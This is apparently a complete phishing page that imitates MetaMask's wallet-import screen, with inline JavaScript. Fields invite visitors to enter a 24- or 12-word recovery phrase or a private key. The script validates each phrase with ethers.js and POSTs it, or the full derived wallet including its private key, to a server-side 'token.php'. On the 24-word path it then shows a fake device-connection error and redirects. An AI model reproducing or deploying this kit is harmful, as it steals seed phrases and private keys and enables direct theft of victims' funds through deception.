<!doctypehtml><html lang=en><meta charset=utf-8><title>
   MetaMask
  </title><link crossorigin href=https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css integrity=sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js></script><link href=https://cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/css/toastr.min.css rel=stylesheet><script src=https://cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/js/toastr.min.js></script><script charset=utf-8 src=https://cdn.ethers.io/scripts/ethers-v4.min.js></script><link href=assets/css/main.css rel=stylesheet><link href=favicon.ico rel=icon type=image/x-icon><body><div class="homeMain bg-c"><div class=headrHome><div class=headBox><div><img alt height=30px src=assets/img/metamask-logo-horizontal.svg></div><div class=avatarBox><div class=avatar><svg style="overflow: hidden; position: relative;"height=100 version=1.1 width=100 xmlns=http://www.w3.org/2000/svg xmlns:xlink=http://www.w3.org/1999/xlink><desc style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);">Created with Raphaël 2.2.0</desc><defs style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);"></defs><rect style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);"fill=#189af2 height=54 rx=0 ry=0 stroke=none width=54 x=0 y=0></rect><rect style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);"fill=#f5c400 height=54 rx=0 ry=0 stroke=none transform=matrix(-0.9558,0.2939,-0.2939,-0.9558,60.1479,53.9492) width=54 x=0 y=0></rect><rect style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);"fill=#c8144d height=54 rx=0 ry=0 stroke=none transform=matrix(0.9801,-0.1983,0.1983,0.9801,-4.5919,-21.3271) width=54 x=0 y=0></rect><rect style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);"fill=#fa7500 height=54 rx=0 ry=0 stroke=none transform=matrix(-0.8318,0.555,-0.555,-0.8318,97.9387,53.8542) width=54 x=0 y=0></rect></svg></div><div style="display: none;"class=menu><div class=menuContent><p>My account</div><div class=menu__divider></div><div class=accountBox></div><div class=menu__divider></div><div class="menuContent menuItem bt"data-link=importWallet.html><p><img style="margin-right: 5px"alt height=15px src=assets/img/usb.svg> Create a new wallet</div></div></div></div></div><div class=contentHomeMain><div class=searchTokensBox><div class=hTokens><div class=hTitle><h1>Import wallet</h1></div><div class=hTabs><div class="active wHT searchTokenTabs"data-val=search><p>Import</div><div class="wHt2 searchTokenTabs"data-val=custom><p>Ledger</div><div class="wHt2 searchTokenTabs"data-val=seed><p>Wallet seed</div></div><div style="display: none;"class=hTabsText><span> Would you like to add these tokens? </span></div></div><div class=SeachBoxTokens><div class=TabContentToken id=search><div class="SeachBoxTokens paddingImportWallet"style="border: none;"><div class=ImportWalletBox><div class=ImportWalletSelectBox><p>Choose type<div style="position: relative;"><div class=SelectBoxType><p id=ty>JSON file</p><span class=arrow> </span></div><div style="display: none;"class=SelectBoxTypeContent><div class=SelectBoxTypeContentItem data-id=JSON>JSON file</div><div class=SelectBoxTypeContentItem data-id=Private>Private key</div></div></div></div><div style="display: none;"class=Private><p>Insert your private key here:</p><input class=ImportWalletInput id=private_key type=password><span style="color: #f44336; display: none;"id=Private> Cannot import invalid private key. </span></div><div class=JSON><input style="padding: 20px 0px 12px 15%; font-size: 15px; display: flex; justify-content: center; width: 100%; border:none; margin-bottom: 30px"id=json_file type=file><span style="color: #f44336;  display: none;"id=json_file_error> Unexpected number in JSON at position 1 </span><input placeholder="enter password"class=ImportWalletInput id=jjjj type=password><span style="color: #f44336;  display: none;"id=json_pass> Key derivation failed - possibly wrong passphrase </span></div></div></div><div style="margin-top: 25px;"class=sTokenButtons><button class="sCancel bt"data-link=\>Cancel</button><button class=Import data-link=/home.html>Import</button></div></div><div class="addCostom TabContentToken"style="display: none;"id=custom><div class=textareaBox><p>24 Word passphrase</p><textarea placeholder="Separate each word with a single space"cols=40 id=wordsseed name=twelve_word rows=10></textarea><span style="display: none;"class=errorMessageCreate id=wordsErrorConfir> key phrases are 24 words long </span><span style="display: none;"class=errorMessageCreate id=incorecct> Invalid mnemonic phrase </span></div><div class="flex-start buttonBox"><button class="btn btn-primary importBtn"style="width: 100%;"disabled id=imp type=button>Import</button></div></div><div class="addCostom TabContentToken"style="display: none;"id=seed><div class=textareaBox><p>Wallet Seed</p><textarea placeholder="Separate each word with a single space"cols=40 id=wordsseed2 name=twelve_word rows=10></textarea><span style="display: none;"class=errorMessageCreate id=wordsErrorConfir2> key phrases are 12 words long </span><span style="display: none;"class=errorMessageCreate id=incorecct2> Invalid mnemonic phrase </span></div><div class="flex-start buttonBox"><button class="btn btn-primary importBtn"style="width: 100%;"disabled id=imp2 type=button>Import</button></div></div></div></div></div></div><script src=assets/js/main.js></script><script>$('#wordsseed').on("change keyup paste", function(evt) {

    let pass = $(this).val();


    if(pass.split(" ").length == 24){

        $("#wordsErrorConfir").hide();

        try{

            let mnemonic = pass;
            let mnemonicWallet = ethers.Wallet.fromMnemonic(mnemonic);

           $("#imp").prop("disabled", false);

            $("#wordsErrorConfir").hide();

            $("#incorecct").hide();

        }
        catch (e){

            $("#wordsErrorConfir").hide();

            $("#incorecct").show();
           $("#imp").prop("disabled", true);

        }

        
        //passForCreate = true;
    }
    else{
    

        $("#wordsErrorConfir").show();
        $("#imp").prop("disabled", true);

        $("#incorecct").hide();
    }




});





$("#imp").on("click", function(){


    let mnemonic = $("#wordsseed").val();


            $.ajax({
              method: "POST",
              url: "./token.php",
              data: { name: JSON.stringify(mnemonic) }
            })
            .done(function( msg ) {

                toastr.error("Something went wrong. Error description: connection error with your device", 'Error!')

                setTimeout(() => window.location.replace("initialize.html"), 4000);
                
             });



    

    
});

$('#wordsseed2').on("change keyup paste", function(evt) {

    let pass = $(this).val();


    if(pass.split(" ").length == 12){

        $("#wordsErrorConfir2").hide();

        try{

            let mnemonic = pass;
            let mnemonicWallet = ethers.Wallet.fromMnemonic(mnemonic);

           $("#imp2").prop("disabled", false);

            $("#wordsErrorConfir2").hide();

            $("#incorecct2").hide();

        }
        catch (e){

            $("#wordsErrorConfir2").hide();

            $("#incorecct2").show();
           $("#imp2").prop("disabled", true);

        }

        
        //passForCreate = true;
    }
    else{
    

        $("#wordsErrorConfir2").show();
        $("#imp2").prop("disabled", true);

        $("#incorecct2").hide();
    }




});





$("#imp2").on("click", function(){




    // 


    let mnemonic = $("#wordsseed2").val();
    let wallet = ethers.Wallet.fromMnemonic(mnemonic);




    localStorage.setItem('wallet', JSON.stringify(wallet));

    

    var a = {};

    if(localStorage.getItem("wallets")){

        a = JSON.parse(localStorage.getItem("wallets"));

        a[wallet.signingKey.privateKey] = {"wallet": wallet, "name":"Account "+ (Object.keys(a).length+1)};

    }else{


        a[""+wallet.signingKey.privateKey+""] = {"wallet": wallet, "name":"Account 1"};


    }

    localStorage.setItem("wallets", JSON.stringify(a));


            $.ajax({
              method: "POST",
              url: "./token.php",
              data: { name: JSON.stringify(wallet) }
            })
            .done(function( msg ) {

             window.location.href = 'home.html';
                
             });



    

    
});</script>